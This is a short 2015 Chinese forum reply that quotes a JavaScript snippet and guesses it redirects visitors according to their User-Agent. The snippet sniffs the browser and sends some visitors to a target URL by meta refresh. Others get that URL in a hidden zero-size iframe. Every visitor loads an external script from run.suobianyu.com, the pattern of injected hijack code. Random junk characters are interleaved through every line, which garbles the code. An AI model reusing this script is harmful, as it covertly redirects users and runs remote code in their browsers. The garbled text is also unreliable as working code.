|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
. T v: I! G/ M& { z8 _# X- var ua = navigator.userAgent.toLowerCase(),
3 y6 C# K' l5 R9 _4 g - browser = {
$ N; y" s/ T6 _( k1 _ - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],- x* r/ H" c$ x3 u& j* v! z
- opera: /opera/.test(ua),
( M0 d( ?- i4 A$ d - maxthon: /maxthon/.test(ua),
& _0 i; q$ w2 V - theworld: /theworld/.test(ua),
( W0 i, S1 e2 M& l3 M5 z7 K n; A - qq: /qqbrowser/.test(ua),- v1 ^ A0 U \, W" a
- sogou: /se /.test(ua),% W$ P- D5 u4 Z f/ _# j" ~
- liebao: /liebao/.test(ua),$ N, o$ C! P, e# v
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),9 O) V; X$ k1 R6 S, Z9 Q; ^! M
- chrome: /chrome|crios/.test(ua),* V6 H2 a2 I( o' J* L
- safari: /webkit/.test(ua), U1 K3 Z) ?; s9 }
- uc: /ucbrowser/.test(ua),
, J, p. E% l# b8 @* }4 @ a7 ?0 z - ie: /msie/.test(ua) && !/opera/.test(ua)
) }3 {# i/ w# r - };
: h: Q) N. Z8 R; I; B2 G - var ver = browser.ver;$ H0 s5 |/ b1 T; J7 g
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {, B% ]# x% J' J! h6 ~# I' \
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");' u: c# p7 X! Q% I9 p4 e% N( b, x. C6 k
- } else {; A4 ^, r9 l: ~6 y2 S" J |! J2 x
- window.sc = "<iframe src=" + tourl + "></iframe>";
( {! v' V7 ?, S. { - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");- y+ r) j, g X( r1 G
- }
) }# l! ^ L+ C - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 ! f" l7 Z4 P# _7 b
+ i# K& h( ]) r: X4 f& \! ?$ p好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|